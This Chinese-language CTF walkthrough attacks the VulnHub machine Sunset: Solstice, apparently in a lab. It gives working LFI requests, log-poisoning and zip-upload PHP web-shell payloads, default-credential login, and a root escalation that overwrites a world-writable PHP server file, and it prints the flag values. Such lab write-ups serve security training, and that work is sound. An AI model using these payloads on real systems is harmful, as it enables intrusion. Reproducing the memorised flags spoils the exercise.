sunset: solstice
靶机链接:Sunset: Solstice
0x01 基本信息
参考:VulnHub 靶机无法获取 IP - ifupdown
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| Sunset: Solstice | 192.168.1.108 |
0x02 侦察与信息收集 (Reconnaissance)
1. 全端口扫描 (Rustscan)
命令:
rustscan -a 192.168.1.108 -g --ulimit 5000 --batch-size 300 --timeout 3000
输出:
192.168.1.108 -> [21,22,25,53,80,139,445,2121,3128,8593,54787,62524]
2. 服务识别 (Nmap)
命令:
nmap -Pn -sV -sC -p 21,22,25,80,139,445,2121,3128,8593,54787,62524 192.168.1.108
服务列表摘要:
| 端口 | 服务 | 指纹 / 备注 |
|---|---|---|
21/tcp | FTP | pyftpdlib 1.5.6 |
22/tcp | SSH | OpenSSH 7.9p1 Debian 10+deb10u2 |
25/tcp | SMTP | Exim smtpd 4.92,banner 主机名 solstice |
80/tcp | HTTP | Apache/2.4.38 (Debian) |
139/tcp | SMB | Samba,workgroup WORKGROUP |
445/tcp | SMB | Samba 4.9.5-Debian |
2121/tcp | FTP | pyftpdlib 1.5.6,允许匿名登录 |
3128/tcp | HTTP Proxy | Squid http proxy 4.6 |
8593/tcp | HTTP | PHP CLI Server,PHP/7.3.14 |
54787/tcp | HTTP | PHP CLI Server,PHP/7.3.14 |
62524/tcp | FTP | FreeFloat ftpd 1.00 |
3. Web 目录枚举 (Gobuster)
- Port 80:
gobuster dir -u http://192.168.1.108/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -q -t 20 -x php,txt,html
发现: /app/, /backup/, /javascript/, /index.html。
- Port 54787:
gobuster dir -u http://192.168.1.108:54787/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -q -t 20 -x php,txt,html
发现: /project (File Thingie 登录入口)。
0x03 漏洞分析与利用 (Exploitation)
1. HTTP 8593: LFI 漏洞利用
验证 LFI:
curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../etc/passwd'
输出:
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
miguel:x:1000:1000:,,,:/home/miguel:/bin/bash
环境识别 (Information Gathering):
-
读取进程命令行:
curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../proc/self/cmdline'- 结果:
/usr/bin/php -S 0.0.0.0:8593 -t /var/tmp/webserver/ - 分析: 确认是单线程的 PHP 内置服务器,Web 根目录在
/var/tmp/webserver/。
- 结果:
-
读取进程环境:
curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../proc/self/environ'- 结果:
USER=www-data。确认当前权限。
- 结果:
0x04 核心攻击链 (Core Attack Chain)
第一阶段:初始突破 (Initial Foothold via RCE)
方法 A:邮件日志投毒 (Mail Poisoning)
- 投毒: 使用
swaks发送 Payload 到www-data@localhost:
swaks --to www-data@localhost --from 'test@test.com' --body '<?php system($_GET["cmd"]); ?>' --server 192.168.1.108
- 验证 RCE:
curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/mail/www-data&cmd=id'
输出: uid=33(www-data) gid=33(www-data) groups=33(www-data)
方法 B:Apache 访问日志投毒 (Access Log Poisoning)
利用端口 80 的 Apache 访问日志注入。
- 注入 Payload:
curl -sS -A '<?php system($_GET[cmd]); ?>' http://192.168.1.108/
- 触发 RCE:
输出:curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/log/apache2/access.log&cmd=id'
192.168.1.113 - - [17/May/2026...] "GET / HTTP/1.1" 200 ... "uid=33(www-data)..."
方法 C:Apache 错误日志投毒 (Error Log Poisoning)
利用 Referer 字段触发 PHP 404 错误。
- 注入 Payload: 访问不存在的
.php文件触发错误:curl -sS -e '<?php system($_GET[e]); ?>' http://192.168.1.108/nonexistent.php - 触发 RCE:
输出:curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/log/apache2/error.log&e=id'
... script '/var/www/html/nonexistent.php' not found ..., referer: uid=33(www-data)...
方法 D:File Thingie Zip 解压释放 WebShell (Alternative Foothold)
- 登录: 使用
admin:admin登录54787后台。curl -s -L -c cookies.txt -d "ft_user=admin&ft_pass=admin&act=dologin" http://192.168.1.108:54787/project/index.php - 绕过后缀限制并上传:
echo '<?php system($_GET["cmd"]); ?>' > shell.phpzip shell.zip shell.phpcurl -s -b cookies.txt -F "act=upload" -F "localfile=@shell.zip" http://192.168.1.108:54787/project/index.php
- 触发 RCE:
curl -s -b cookies.txt -d "act=unzip&file=shell.zip&dir=&newvalue=shell.zip&submit=Ok" http://192.168.1.108:54787/project/index.phpcurl -s http://192.168.1.108:54787/project/shell.php?cmd=id
输出: uid=33(www-data)...
第二阶段:权限提升 (Privilege Escalation to Root)
1. 发现本地特权服务:
通过 RCE 执行 ps aux | grep php。
输出:
root 529 0.0 0.0 2388 756 ? Ss 22:18 0:00 /bin/sh -c /usr/bin/php -S 127.0.0.1:57 -t /var/tmp/sv/
2. 探测配置缺陷:
检查该服务的 Web 根目录:ls -la /var/tmp/sv/
输出:
drwsrwxrwx 2 root root 4096 Jun 26 2020 .
-rwxrwxrwx 1 root root 36 Jun 19 2020 index.php
分析:目录及其中的 index.php 权限均为 777 (全球可写)。
3. 利用过程:
- 植入后门: 利用 www-data 的 RCE,将 Web Shell 覆盖写入该目录:
curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/mail/www-data&cmd=echo+PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==+|+base64+-d+%3E+/var/tmp/sv/index.php'
- 触发 Root RCE: 通过
curl访问本地 57 端口执行命令:
curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/mail/www-data&cmd=curl+-s+"http://127.0.0.1:57/index.php?c=id"'
输出: uid=0(root) gid=0(root) groups=0(root)
0x05 最终成果 (Final Flags)
User Flag
- 路径:
/home/miguel/user.txt - 内容:
c0e1f61ff8e753d8b27615bdc4f25794
Root Flag
- 路径:
/root/root.txt - 内容:
f950998f0d484a2ef1ea83ed4f42bbca - 备注:
Thanks for playing! - Felipe Winsnes (@whitecr0wz)